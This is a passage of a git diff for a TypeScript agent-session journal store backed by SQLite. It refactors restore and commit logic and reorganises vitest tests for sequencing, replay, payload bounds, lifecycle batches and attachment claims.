JournalLifecycleMutationInput } from './journal-row-builders' -import type { JournalRow } from './journal-row-schema' +import type { JournalReadRow } from './journal-read-row' import type { JournalReducerState } from './journal-reducer' import type { JournalRowWriter } from './journal-row-writer' import type { JournalAttachmentClaim } from './journal-submission-hook' @@ -30,7 +30,7 @@ export type AgentSessionJournalOptions = { } export type JournalReadSince = - | { ok: true; rows: JournalRow[]; cursor: AgentJournalCursor } + | { ok: true; rows: JournalReadRow[]; cursor: AgentJournalCursor } | { ok: false; reset: AgentJournalResetReason } export type ResolveDispatchInput = { diff --git a/src/main/native-chat/agent-session-journal/journal-store-restore.ts b/src/main/native-chat/agent-session-journal/journal-store-restore.ts index d4b5e917a78..3fc0a1a1b83 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-restore.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-restore.ts @@ -1,6 +1,6 @@ import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import type { JournalEpochController } from './journal-epoch-controller' -import { replayJournal } from './journal-open' +import { restoreJournal } from './journal-open' import { journalOpenRefusalError } from './journal-open-failure' import type { JournalStoreHost } from './journal-store-collaborators' import { openJournalStoreState } from './journal-store-open' @@ -19,10 +19,13 @@ export async function restoreJournalStore( ) ) } + // Unpaced and charged to no maintenance budget: background work alone pays its duty cycle. + const loaded = restoreJournal(database.db, host.identity.sessionId) return openJournalStoreState({ sessionId: host.identity.sessionId, - replay: () => replayJournal(database.db, host.identity.sessionId), - start: () => collaborators.epochController.start('session_created', 0), + replay: () => loaded, + start: () => + collaborators.epochController.start('session_created', 0, loaded?.state.epoch ?? null), adopt: host.adopt, // Recovery revisions must not count as new provider output. appendItem: (identity, body, fence) => diff --git a/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts b/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts index 08a5ee6eebf..4d632853621 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-schema.spec.ts @@ -35,7 +35,7 @@ export function registerJournalStoreSchemaTests(): void { let root: string let clock = 1_000 - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) function tick(): number { clock += 1 diff --git a/src/main/native-chat/agent-session-journal/journal-store.spec.ts b/src/main/native-chat/agent-session-journal/journal-store.spec.ts index a274117bcf5..314795f2b93 100644 --- a/src/main/native-chat/agent-session-journal/journal-store.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-store.spec.ts @@ -1,511 +1,9 @@ -import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { mkdtemp, readdir, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import type { - AgentJournalItemBody, - AgentJournalItemIdentity, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import { - agentJournalItemKey, - boundJournalKeyComponent, - MAX_JOURNAL_KEY_COMPONENT_CHARS -} from '../../../shared/agent-session-journal-item-key' -import { - boundInlineText, - boundPayload, - JOURNAL_RUNNING_PREVIEW_LIMITS -} from './journal-payload-bounds' -import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' -import { AgentSessionJournalError, type AgentSessionJournal } from './journal-store' -import type { openAgentSessionJournal } from './journal-store-factory' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase, - liveTestJournalRows, - deleteTestJournalRow -} from './journal-host-database-test-support' -import type Database from '../../sqlite/sync-database' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { createFixture } from './journal-store-contract-test-fixture' +import { registerJournalSequenceReplayTests } from './journal-sequence-replay.spec' +import { registerJournalLifecycleBoundaryTests } from './journal-lifecycle-boundaries.spec' export function registerJournalStoreTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - } - - let root: string - let clock = 1_000 - - function tick(): number { - clock += 1 - return clock - } - - function item(ordinal: number): AgentJournalItemIdentity { - return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } - } - - function body(value: string): AgentJournalItemBody { - return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: value }] } - } - - const journals = createTrackedJournalOpener() - - async function open(overrides: Partial[0]> = {}) { - return journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: tick, - mintEpoch: () => `epoch-${clock}`, - ...overrides - }) - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-journal-')) - clock = 1_000 - }) - - afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - describe('sequences', () => { - it('assigns a contiguous sequence with no gaps or reuse under concurrent appends', async () => { - const journal = await open() - const results = await Promise.all( - Array.from({ length: 25 }, (_unused, index) => - journal.appendItem(item(index), body(`m${index}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - ) - ) - const sequences = results.map((result) => result.cursor.sequence) - expect(new Set(sequences).size).toBe(25) - expect(sequences.slice().sort((a, b) => a - b)).toEqual( - Array.from({ length: 25 }, (_unused, index) => index + 2) - ) - }) - - it('serializes revisions of one item so the last write wins deterministically', async () => { - const journal = await open() - const results = await Promise.all([ - journal.appendItem(item(0), body('a'), { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }), - journal.appendItem(item(0), body('b'), { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }), - journal.appendItem(item(0), body('c'), { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - ]) - expect(results.map((result) => result.revision)).toEqual([1, 2, 3]) - expect(journal.snapshot().items).toHaveLength(1) - expect(journal.snapshot().items[0]?.revision).toBe(3) - }) - - it('visits reduced items at their creation sequence without promoting an older revision', async () => { - const journal = await open() - await journal.appendItem(item(0), body('first'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const latest = await journal.appendItem(item(1), body('second'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(item(0), body('first revised'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const visited: { itemId: string; sequence: number }[] = [] - - journal.visitItems((itemId, sequence) => visited.push({ itemId, sequence })) - - expect(visited).toEqual([ - { itemId: agentJournalItemKey(item(0)), sequence: 2 }, - { itemId: latest.itemId, sequence: latest.cursor.sequence } - ]) - }) - - it('reads the live turn off reduced items, agreeing with the rendered snapshot', async () => { - const journal = await open() - const turnItem = (turnId: string): AgentJournalItemIdentity => ({ - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: `turn-lifecycle:${turnId}` - }) - const rendered = (): string | null => - activeStructuredAgentSessionTurnId(journal.snapshot().items) - const bothAgreeOn = async (turnId: string | null): Promise => { - expect(journal.runningTurn()?.turnId ?? null).toBe(turnId) - expect(rendered()).toBe(turnId) - } - - await journal.appendItem( - turnItem('turn-1'), - { kind: 'turn', turnId: 'turn-1', state: 'running' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await journal.appendItem(item(0), body('work'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await bothAgreeOn('turn-1') - - // Revisions retain creation position. - await journal.appendItem( - turnItem('turn-1'), - { kind: 'turn', turnId: 'turn-1', state: 'completed' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await bothAgreeOn(null) - - await journal.appendItem( - turnItem('turn-2'), - { kind: 'turn', turnId: 'turn-2', state: 'running' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await bothAgreeOn('turn-2') - }) - - it('preserves an oversized identity and its raw digest-form mimic across reopen', async () => { - const oversizedTurnId = 'a'.repeat(MAX_JOURNAL_KEY_COMPONENT_CHARS + 1) - const digestFormMimic = boundJournalKeyComponent(oversizedTurnId) - const identityFor = (turnId: string): AgentJournalItemIdentity => ({ - provider: 'codex', - threadId: 'thread-1', - turnId, - ordinal: 0 - }) - const oversizedIdentity = identityFor(oversizedTurnId) - const mimicIdentity = identityFor(digestFormMimic) - const journal = await open() - - const oversized = await journal.appendItem(oversizedIdentity, body('oversized'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const mimic = await journal.appendItem(mimicIdentity, body('mimic'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(oversized.itemId).not.toBe(mimic.itemId) - expect([oversized.revision, mimic.revision]).toEqual([1, 1]) - - const reopened = await open() - expect(reopened.snapshot().items.map((entry) => entry.body)).toEqual([ - body('oversized'), - body('mimic') - ]) - - await reopened.appendTombstone(oversizedIdentity, { fence: 1 }) - const afterTombstoneReopen = await open() - expect(afterTombstoneReopen.snapshot().items.map((entry) => entry.body)).toEqual([ - body('mimic') - ]) - }) - }) - - describe('fences', () => { - it('rejects an append from a writer behind the journal', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await expect( - journal.appendItem(item(1), body('b'), { fence: 6, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - ).rejects.toBeInstanceOf(AgentSessionJournalError) - }) - - it('keeps accepting appends after a rejected one', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal - .appendItem(item(1), body('b'), { fence: 6, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - .catch(() => undefined) - await journal.appendItem(item(2), body('c'), { - fence: 7, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([body('a'), body('c')]) - }) - }) - - describe('replay', () => { - it('reopens to the same render model the live writer held', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(item(1), body('b'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(item(0), body('a2'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendTombstone(item(1), { fence: 1 }) - const live = journal.snapshot() - - const reopened = await open() - expect(reopened.snapshot()).toEqual(live) - }) - - it('serves a resume from a cursor and refuses one from a stale epoch', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - const cursor = journal.cursor() - await journal.appendItem(item(1), body('b'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - - const resumed = journal.readSince(cursor) - expect(resumed.ok && resumed.rows).toHaveLength(1) - - await journal.rollEpoch('handle_forked', 2) - expect(journal.readSince(cursor)).toEqual({ ok: false, reset: 'epoch_changed' }) - }) - - it('rebuilds from a clean epoch after a rollover', async () => { - const journal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.rollEpoch('unreconcilable_prefix', 2) - expect(journal.snapshot().items).toHaveLength(0) - - const reopened = await open() - expect(reopened.epoch).toBe(journal.epoch) - expect(reopened.snapshot().items).toHaveLength(0) - }) - - it('refuses a journal with a gap and keeps every row', async () => { - const journal = await open() - for (let index = 0; index < 4; index += 1) { - await journal.appendItem(item(index), body(`m${index}`), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - } - await journal.close() - await withJournalDatabase(root, (db) => { - deleteTestJournalRow(db, IDENTITY.sessionId, 3) - }) - - await expect(open()).rejects.toMatchObject({ - refusal: { details: { reason: 'journalCorrupt' } } - }) - await withJournalDatabase(root, (db) => { - const rows = liveTestJournalRows(db, IDENTITY.sessionId) - expect(rows.map((row) => row.seq)).toEqual([1, 2, 4, 5]) - }) - }) - }) - - describe('bounds', () => { - it('marks a clipped payload instead of dropping bytes silently', () => { - const limits = { inlineHeadBytes: 16 } - const bounded = boundPayload('x'.repeat(4_096), limits) - expect(bounded.truncated).toBe(true) - expect(bounded.head).toHaveLength(16) - expect(bounded.byteLength).toBe(4_096) - expect(boundInlineText('x'.repeat(4_096), limits).text).toContain('output truncated') - }) - - it('never splits a multi-byte character across the bound', () => { - const limits = { inlineHeadBytes: 4 } - // Three-byte characters expose UTF-8 splits. - const bounded = boundPayload('日本語テスト', limits) - expect(bounded.head).toBe('日') - expect(Buffer.byteLength(bounded.head, 'utf8')).toBeLessThanOrEqual(4) - }) - - it('leaves a payload inside the bound untouched', () => { - const bounded = boundPayload('small', JOURNAL_RUNNING_PREVIEW_LIMITS) - expect(bounded.truncated).toBe(false) - expect(bounded.head).toBe('small') - expect(boundInlineText('small', JOURNAL_RUNNING_PREVIEW_LIMITS).text).toBe('small') - }) - }) - - describe('lifecycle batches', () => { - it('deduplicates concurrent submissions before appending a second row', async () => { - const journal = await open() - const input = { - settlementId: 'concurrent-settlement', - fence: 1, - mutations: [ - { - kind: 'item' as const, - identity: item(1), - body: body('settled'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - } - - const [first, replay] = await Promise.all([ - journal.appendLifecycleBatch(input), - journal.appendLifecycleBatch(input) - ]) - - expect([replay, first.sequence]).toEqual([first, 2]) - }) - - it('applies every mutation at one sequence and deduplicates a replay across reopen', async () => { - const journal = await open() - const turn: AgentJournalItemIdentity = { - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: 'turn-lifecycle:turn-1' - } - await journal.appendItem( - turn, - { kind: 'status', text: 'working' }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - - const settled = await journal.appendLifecycleBatch({ - settlementId: 'exit:turn-1', - fence: 1, - mutations: [ - { - kind: 'item', - identity: item(1), - body: body('tool settled'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { - kind: 'item', - identity: { provider: 'orca', clientMessageId: 'exit-status' }, - body: { kind: 'status', text: 'Provider exited' }, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }, - { kind: 'tombstone', identity: turn } - ] - }) - const atSettlement = journal - .snapshot() - .items.filter((entry) => entry.sequence === settled.sequence) - expect(atSettlement).toHaveLength(2) - expect( - journal - .snapshot() - .items.some((entry) => entry.body.kind === 'status' && entry.body.text === 'working') - ).toBe(false) - await journal.close() - - const reopened = await open() - const beforeReplay = reopened.cursor() - const replay = await reopened.appendLifecycleBatch({ - settlementId: 'exit:turn-1', - fence: 1, - mutations: [ - { - kind: 'item', - identity: item(9), - body: body('must not appear'), - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ] - }) - expect(replay).toEqual(beforeReplay) - expect( - reopened - .snapshot() - .items.some( - (entry) => - entry.body.kind === 'message' && - entry.body.blocks.some( - (block) => block.type === 'text' && block.text === 'must not appear' - ) - ) - ).toBe(false) - }) - }) - - describe('on-disk layout', () => { - it('keeps every chat of the state directory in its one database, and no per-chat file', async () => { - const journal: AgentSessionJournal = await open() - await journal.appendItem(item(0), body('a'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(await readdir(root)).toContain('agent-session-journal.db') - expect(await readdir(root)).not.toContain('agent-session-journal') - await journal.close() - await withJournalDatabase(root, (db) => { - expect(liveTestJournalRows(db, IDENTITY.sessionId)[1]?.rowJson).toContain('"kind":"item"') - expect(db.prepare('SELECT epoch FROM journal_sessions').get()).toMatchObject({ - epoch: journal.epoch - }) - }) - }) - }) - - async function withJournalDatabase( - stateDirectory: string, - run: (db: Database.Database) => void - ): Promise { - const opened = openTestJournalHostDatabase(stateDirectory) - try { - run(opened.db) - } finally { - await opened.close() - } - } - - describe('what a handle found on disk when it opened', () => { - const submission = (clientMessageId: string) => ({ - clientMessageId, - payloadFingerprint: 'fp', - body: { kind: 'message' as const, role: 'user' as const, blocks: [] }, - fence: 1, - handoverRecorded: true as const - }) - - it('names rows an earlier handle wrote, and never a row of a later epoch', async () => { - const earlier = await open() - await earlier.appendItem(item(1), body('one'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await earlier.appendSubmission(submission('earlier')) - await earlier.close() - - const journal = await open() - const leftover = journal.submissions().find((entry) => entry.clientMessageId === 'earlier') - expect(journal.wroteBeforeOpen(leftover?.acceptedSequence)).toBe(true) - - await journal.resolveDispatch({ - clientMessageId: 'earlier', - state: 'unknown', - reason: 'unconfirmed from an earlier host', - fence: 1 - }) - // Epochs restart sequences, so later rows can fall below the old open cursor. - await journal.replaceEpochItems('handle_forked', 1, []) - await journal.appendSubmission(submission('later')) - const later = journal.submissions().find((entry) => entry.clientMessageId === 'later') - expect(later?.acceptedSequence).toBeLessThanOrEqual(2) - expect(journal.wroteBeforeOpen(later?.acceptedSequence)).toBe(false) - }) - }) + const fixture = createFixture() + registerJournalSequenceReplayTests(fixture) + registerJournalLifecycleBoundaryTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-store.ts b/src/main/native-chat/agent-session-journal/journal-store.ts index 100b7957486..b46f2987f3c 100644 --- a/src/main/native-chat/agent-session-journal/journal-store.ts +++ b/src/main/native-chat/agent-session-journal/journal-store.ts @@ -1,5 +1,6 @@ // Each session owns its fold and queue; all statements use the host's shared database connection. +import { JournalWriteProjection } from './journal-write-projection' import type { AgentJournalDispatchRejection } from '../../../shared/agent-session-failure-words' import { randomUUID } from 'node:crypto' import { createJournalPublicReader } from './journal-public-read' @@ -22,7 +23,7 @@ import { newestStructuredAgentSessionTurnBySequence, runningStructuredAgentSessionTurnItemBySequence } from '../../../shared/structured-agent-session-live-turn' -import { readJournalSince } from './journal-cursor' +import { journalWroteBeforeOpen, readJournalSince } from './journal-cursor' import type { JournalHostDatabase } from './journal-host-database' import { journalRowsAfterReader } from './journal-open' import { @@ -31,7 +32,6 @@ import { rejectJournalQueuedSubmissions } from './journal-pending-submission-recovery' import { - applyJournalRow, createJournalReducerState, resolveJournalItemId, type JournalReducerState @@ -65,8 +65,6 @@ export class AgentSessionJournal { private readonly goalAttachments: JournalCollaborators['goalAttachments'] private readonly identity: AgentSessionJournalIdentity private readonly database: JournalHostDatabase - private readonly now: () => number - private readonly mintEpoch: () => string private state: JournalReducerState private readonly readPublic = createJournalPublicReader() @@ -81,6 +79,7 @@ export class AgentSessionJournal { private readonly submissionWriter: JournalCollaborators['submissionWriter'] private readonly stepWriter: JournalCollaborators['stepWriter'] private readonly restore: () => Promise + private readonly projection: JournalWriteProjection /** Queued cards never count as owed work. */ readonly queuedMessages: JournalCollaborators['queuedMessages'] readonly stopMarks: JournalCollaborators['stopMarks'] @@ -90,14 +89,19 @@ export class AgentSessionJournal { constructor(options: AgentSessionJournalOptions) { this.identity = options.identity this.database = options.database - this.now = options.now ?? (() => Date.now()) - this.mintEpoch = options.mintEpoch ?? randomUUID this.state = createJournalReducerState(options.identity.sessionId, '') this.queue = new JournalWriteQueue(options.identity.sessionId) + this.projection = new JournalWriteProjection({ + database: this.database, + state: () => this.state, + adopt: (state) => { + this.state = state + } + }) const collaborators = createJournalStoreCollaborators({ identity: this.identity, - now: this.now, - mintEpoch: this.mintEpoch, + now: options.now ?? (() => Date.now()), + mintEpoch: options.mintEpoch ?? randomUUID, serialize: (run) => this.queue.serialize(run), database: () => this.database, state: () => this.state, @@ -107,11 +111,10 @@ export class AgentSessionJournal { this.state = loaded.state this.onCommitted?.() }, - commit: (rows, savedAt) => { - for (const row of rows) { - applyJournalRow(this.state, row, savedAt) - } + prepare: (db, rows, savedAt) => this.projection.prepare(db, rows, savedAt), + commit: (rows) => { this.onCommitted?.(rows) + this.projection.verify() }, notifyCommitted: () => this.onCommitted?.([]), journal: () => this, @@ -141,11 +144,7 @@ export class AgentSessionJournal { /** Only rows from this handle's opening epoch can predate the open. */ wroteBeforeOpen(sequence: number | undefined): boolean { - return ( - sequence !== undefined && - this.state.epoch === this.openedThrough.epoch && - sequence <= this.openedThrough.sequence - ) + return journalWroteBeforeOpen(this.state, this.openedThrough, sequence) } /** Fallback reopen boundary until its mark is written; each new handle marks again. */ diff --git a/src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts new file mode 100644 index 00000000000..60aa6928d8b --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts @@ -0,0 +1,78 @@ +import { mkdtemp, rm, mkdir, writeFile } from 'node:fs/promises' +import { randomUUID } from 'node:crypto' +import { tmpdir } from 'node:os' +import { join, dirname } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { journalPragmaNumber } from './journal-database' +import { + closeTestJournalHostDatabases, + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { formatNativeChatFileReference } from '../../../shared/agent-image-paste' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +let root: string + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-streamed-revision-')) +}) + +afterEach(async () => { + vi.restoreAllMocks() + await journals.closeAll() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +export const text = (role: 'assistant' | 'user', value: string): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text: value }] +}) + +export function openJournal(sessionId = 'stream') { + return journals.open({ + stateDirectory: root, + identity: { + sessionId, + workspaceId: 'folder', + hostId: 'local', + agent: 'grok', + providerHandle: null + } + }) +} + +export function commitLevels() { + const { db } = openTestJournalHostDatabase(root) + const levels: number[] = [] + const exec = db.exec.bind(db) + vi.spyOn(db, 'exec').mockImplementation((sql) => { + if (sql === 'COMMIT') { + levels.push(journalPragmaNumber(db, 'synchronous')) + } + exec(sql) + }) + return levels +} + +export async function uploadedInput() { + const id = randomUUID() + const path = join(attachmentReferences.agentSessionAttachmentStoreRoot(root), id, 'source.txt') + await mkdir(dirname(path), { recursive: true }) + await writeFile(path, 'retained input') + return { id, body: text('user', formatNativeChatFileReference(path)) } +} + +export const fixture = { + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts b/src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts new file mode 100644 index 00000000000..368cd08aa7e --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts @@ -0,0 +1,238 @@ +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import { JournalGoalAttachmentInverse } from './journal-goal-attachment-inverse' +import type { JournalOperationReceipt } from './journal-row-writer' +import { MAX_JOURNAL_LIFECYCLE_BATCH_BYTES } from './journal-row-schema' +import * as attachmentReferences from '../agent-session-attachments/agent-session-attachment-references' + +import { + fixture, + commitLevels, + openJournal, + text, + uploadedInput +} from './journal-streamed-revision-contract-test-fixture' + +it('resolves/builds once after preceding writes and preserves actual output and external receipt durability', async () => { + const journal = await openJournal() + const identity = { provider: 'orca' as const, clientMessageId: 'dynamic' } + let release = () => {} + const barrier = new Promise((resolve) => { + release = resolve + }) + const held = journal.readInOrder(() => barrier) + const levels = commitLevels() + const preceding = journal.appendItem(identity, text('assistant', 'first'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const resolve = vi.fn(() => { + expect(journal.snapshot().items[0]?.body).toEqual(text('assistant', 'first')) + return { identity, body: text('assistant', 'second') } + }) + const following = journal.appendResolvedItem(resolve, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + release() + await Promise.all([held, preceding, following]) + expect(resolve).toHaveBeenCalledTimes(1) + expect(levels).toEqual([2, 1]) + levels.length = 0 + const empty = vi.fn(() => null) + expect( + await journal.appendResolvedItem(empty, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + ).toBeNull() + expect(empty).toHaveBeenCalledTimes(1) + expect(levels).toEqual([]) + + const { db } = openTestJournalHostDatabase(fixture.root) + db.exec('CREATE TABLE receipt_fact (sequence INTEGER)') + const write = vi.fn((connection, row) => { + if (!row) { + throw new Error('missing receipt target') + } + connection.prepare('INSERT INTO receipt_fact VALUES (?)').run(row.seq) + }) + const committed = vi.fn(() => + expect(db.prepare('SELECT sequence FROM receipt_fact').all()).toHaveLength(1) + ) + const result = await journal.appendItem( + identity, + text('assistant', 'durable receipt'), + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }, + { write, committed } + ) + expect(levels).toEqual([2]) + expect(db.prepare('SELECT sequence FROM receipt_fact').get()?.sequence).toBe( + result.cursor.sequence + ) + expect(write).toHaveBeenCalledTimes(1) + expect(committed).toHaveBeenCalledTimes(1) + const huge = 'x'.repeat(MAX_JOURNAL_LIFECYCLE_BATCH_BYTES) + for (const mode of ['ordinary', 'planned', 'step'] as const) { + const body = text('assistant', `${huge}${mode}`) + const plan = vi.fn(() => [ + { kind: 'item' as const, identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ]) + levels.length = 0 + if (mode === 'ordinary') { + await journal.appendLifecycleBatch({ settlementId: mode, fence: 1, mutations: plan() }) + } + if (mode === 'planned') { + await journal.appendPlannedLifecycleBatch({ + settlementId: mode, + fence: 1, + plan: () => ({ mutations: plan(), dispatches: [] }) + }) + } + if (mode === 'step') { + await journal.appendSteps([ + { kind: 'settlement', batch: { settlementId: mode, fence: 1, resolve: plan } } + ]) + } + expect(plan).toHaveBeenCalledTimes(1) + expect(levels).toEqual([1]) + expect(journal.snapshot().items[0]?.body).toEqual(body) + } + levels.length = 0 + expect( + await journal.appendSteps([ + { + kind: 'item', + resolve: () => null, + options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + } + ]) + ).toEqual([false]) + await journal.appendPlannedLifecycleBatch({ + settlementId: 'empty', + fence: 1, + plan: () => ({ mutations: [], dispatches: [] }) + }) + expect(levels).toEqual([]) + await journal.appendLifecycleBatch({ + settlementId: 'envelope', + fence: 1, + mutations: [ + { + kind: 'item', + identity, + body: text('assistant', 'settled'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + expect(levels).toEqual([2]) +}) + +it.each([1, 10])( + 'protects %i actual independent inputs per writer without visiting prior history', + async (count) => { + const journal = await openJournal() + const other = await openJournal('other') + for (let n = 0; n < 10 * count; n++) { + const identity = { provider: 'orca' as const, clientMessageId: `old-${n}` } + await journal.appendItem(identity, text('user', 'old'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await other.appendItem(identity, text('user', 'unrelated'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + const { db } = openTestJournalHostDatabase(fixture.root) + const insertion = vi.spyOn( + db.prepare( + 'INSERT OR IGNORE INTO agent_session_attachment_claims (upload_id, session_id, claimed_at) VALUES (?, ?, ?)' + ), + 'run' + ) + const extraction = vi.spyOn(attachmentReferences, 'agentSessionAttachmentReferences') + const acquired = vi.spyOn(JournalGoalAttachmentInverse.prototype, 'acquired') + const levels = commitLevels() + for (const writer of [ + 'direct', + 'resolved', + 'step', + 'batch', + 'planned', + 'submission', + 'queue' + ] as const) { + insertion.mockClear() + extraction.mockClear() + acquired.mockClear() + levels.length = 0 + for (let n = 0; n < count; n++) { + const { id, body } = await uploadedInput() + const identity = { provider: 'orca' as const, clientMessageId: `${writer}-${n}` } + const resolve = vi.fn(() => ({ identity, body })) + if (writer === 'direct') { + await journal.appendItem(identity, body, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + if (writer === 'resolved') { + await journal.appendResolvedItem(resolve, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(resolve).toHaveBeenCalledTimes(1) + } + if (writer === 'step') { + await journal.appendSteps([ + { kind: 'item', resolve, options: { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } } + ]) + expect(resolve).toHaveBeenCalledTimes(1) + } + if (writer === 'batch') { + await journal.appendLifecycleBatch({ + settlementId: identity.clientMessageId, + fence: 1, + mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }] + }) + } + if (writer === 'planned') { + await journal.appendPlannedLifecycleBatch({ + settlementId: identity.clientMessageId, + fence: 1, + plan: () => ({ + mutations: [{ kind: 'item', identity, body, turnScope: AGENT_JOURNAL_THREAD_SCOPE }], + dispatches: [] + }) + }) + } + if (writer === 'submission') { + await journal.appendSubmission({ + clientMessageId: identity.clientMessageId, + payloadFingerprint: 'fp', + body, + fence: 1, + origin: 'host' + }) + } + if (writer === 'queue') { + await journal.queuedMessages.insert({ messageId: identity.clientMessageId, body }) + } + expect( + db + .prepare( + 'SELECT upload_id FROM agent_session_attachment_claims WHERE upload_id = ? AND session_id = ?' + ) + .all(id, 'stream') + ).toHaveLength(1) + } + expect(insertion).toHaveBeenCalledTimes(count) + expect(extraction).toHaveBeenCalledTimes(count) + expect(acquired).toHaveBeenCalledTimes(count) + expect(levels).toEqual(Array(count).fill(2)) + process.stdout.write( + `pr34654-input-contract ${JSON.stringify({ writer, count, old: 10 * count, extractions: extraction.mock.calls.length, insertions: insertion.mock.calls.length, acquired: acquired.mock.calls.length })}\n` + ) + } + } +) diff --git 